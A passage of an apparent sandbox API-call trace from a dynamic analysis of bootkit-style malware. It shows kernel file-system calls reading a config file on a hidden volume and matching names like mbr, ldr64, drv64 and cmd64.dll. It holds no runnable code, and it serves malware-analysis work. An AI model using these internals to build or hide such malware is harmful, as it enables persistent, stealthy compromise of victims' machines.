dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.772] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.772] KeEnterCriticalRegion () [0120.772] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.772] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.772] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.772] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.772] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.772] IdePortDispatch () returned 0x103 [0120.772] KeWaitForMutexObject () returned 0x0 [0120.772] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.772] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.772] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.772] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.772] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.772] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.772] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.772] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.772] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.772] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.773] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.773] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.773] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.773] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.773] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.773] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.773] KeLeaveCriticalRegion () [0120.773] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.773] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.773] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.773] KeEnterCriticalRegion () [0120.773] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.773] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.773] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.773] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.773] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.773] IdePortDispatch () returned 0x103 [0120.773] KeWaitForMutexObject () returned 0x0 [0120.773] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.773] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.773] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.773] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.773] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.773] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.773] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.773] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.773] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.773] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.773] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.773] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.773] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.773] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.773] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.773] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.773] KeLeaveCriticalRegion () [0120.773] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.773] ReleaseMutex (hMutex=0x100) returned 1 [0120.773] Sleep (dwMilliseconds=0x2bf20) [0120.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b2eed10, dwHighDateTime=0x1d24fa4)) [0120.781] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.781] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.781] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.781] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.781] KeEnterCriticalRegion () [0120.781] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.781] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.781] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.781] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.781] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.781] IdePortDispatch () returned 0x103 [0120.781] KeWaitForMutexObject () returned 0x0 [0120.782] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.782] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.782] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.782] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.782] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.782] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbb340 [0120.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.782] KeLeaveCriticalRegion () [0120.782] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.782] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.782] KeEnterCriticalRegion () [0120.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.782] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.782] KeLeaveCriticalRegion () [0120.782] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.782] KeEnterCriticalRegion () [0120.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.782] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.782] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.782] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.782] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.782] IdePortDispatch () returned 0x103 [0120.782] KeWaitForMutexObject () returned 0x0 [0120.782] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.783] KeLeaveCriticalRegion () [0120.783] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.783] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.783] KeEnterCriticalRegion () [0120.783] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.783] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034dc000 [0120.783] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.783] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.783] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.783] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.783] IdePortDispatch () returned 0x103 [0120.783] KeWaitForMutexObject () returned 0x0 [0120.783] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.783] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.783] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.783] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.783] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.783] IdePortDispatch () returned 0x103 [0120.783] KeWaitForMutexObject () returned 0x0 [0120.783] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.783] KeLeaveCriticalRegion () [0120.783] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.784] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.784] KeEnterCriticalRegion () [0120.784] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.784] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.784] KeLeaveCriticalRegion () [0120.784] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.784] KeEnterCriticalRegion () [0120.784] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.784] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.784] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.784] KeLeaveCriticalRegion () [0120.784] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.784] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.784] KeEnterCriticalRegion () [0120.784] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.784] ExFreePoolWithTag (P=0xfffffa8003bbb340, Tag=0x0) [0120.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.784] KeLeaveCriticalRegion () [0120.784] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.784] ReleaseMutex (hMutex=0xf0) returned 1 [0120.784] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.784] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.784] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.784] KeEnterCriticalRegion () [0120.784] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.784] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.784] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.784] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.784] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.784] IdePortDispatch () returned 0x103 [0120.784] KeWaitForMutexObject () returned 0x0 [0120.785] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.785] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.785] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.785] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.785] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.785] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd8b0 [0120.785] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.785] KeLeaveCriticalRegion () [0120.785] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.785] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.785] KeEnterCriticalRegion () [0120.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.785] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.785] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.785] KeLeaveCriticalRegion () [0120.785] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.785] KeEnterCriticalRegion () [0120.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.785] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.785] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.785] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.785] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.785] IdePortDispatch () returned 0x103 [0120.785] KeWaitForMutexObject () returned 0x0 [0120.785] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.785] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.785] KeLeaveCriticalRegion () [0120.785] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.785] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.785] KeEnterCriticalRegion () [0120.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.785] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034dd000 [0120.786] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.786] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.786] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.786] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.786] IdePortDispatch () returned 0x103 [0120.786] KeWaitForMutexObject () returned 0x0 [0120.786] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.786] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.786] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.786] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.786] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.786] IdePortDispatch () returned 0x103 [0120.786] KeWaitForMutexObject () returned 0x0 [0120.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.786] KeLeaveCriticalRegion () [0120.786] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.786] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.787] KeEnterCriticalRegion () [0120.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.787] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.787] KeLeaveCriticalRegion () [0120.787] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.787] KeEnterCriticalRegion () [0120.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.787] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.787] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd970, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.787] KeLeaveCriticalRegion () [0120.787] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.787] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.787] KeEnterCriticalRegion () [0120.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.787] ExFreePoolWithTag (P=0xfffffa8003bbd8b0, Tag=0x0) [0120.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.787] KeLeaveCriticalRegion () [0120.787] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.787] ReleaseMutex (hMutex=0xf0) returned 1 [0120.787] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.787] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.787] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.787] KeEnterCriticalRegion () [0120.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.787] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.787] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.787] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.787] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.787] IdePortDispatch () returned 0x103 [0120.787] KeWaitForMutexObject () returned 0x0 [0120.787] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.787] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.787] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.787] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.787] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.788] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbb0e0 [0120.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.788] KeLeaveCriticalRegion () [0120.788] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.788] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.788] KeEnterCriticalRegion () [0120.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.788] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.788] KeLeaveCriticalRegion () [0120.788] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.788] KeEnterCriticalRegion () [0120.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.788] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.788] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.788] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.788] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.788] IdePortDispatch () returned 0x103 [0120.788] KeWaitForMutexObject () returned 0x0 [0120.788] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.788] KeLeaveCriticalRegion () [0120.788] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.788] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.788] KeEnterCriticalRegion () [0120.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.788] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034de000 [0120.788] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.788] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.788] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.788] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.788] IdePortDispatch () returned 0x103 [0120.788] KeWaitForMutexObject () returned 0x0 [0120.789] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.789] IoAllocateIrp 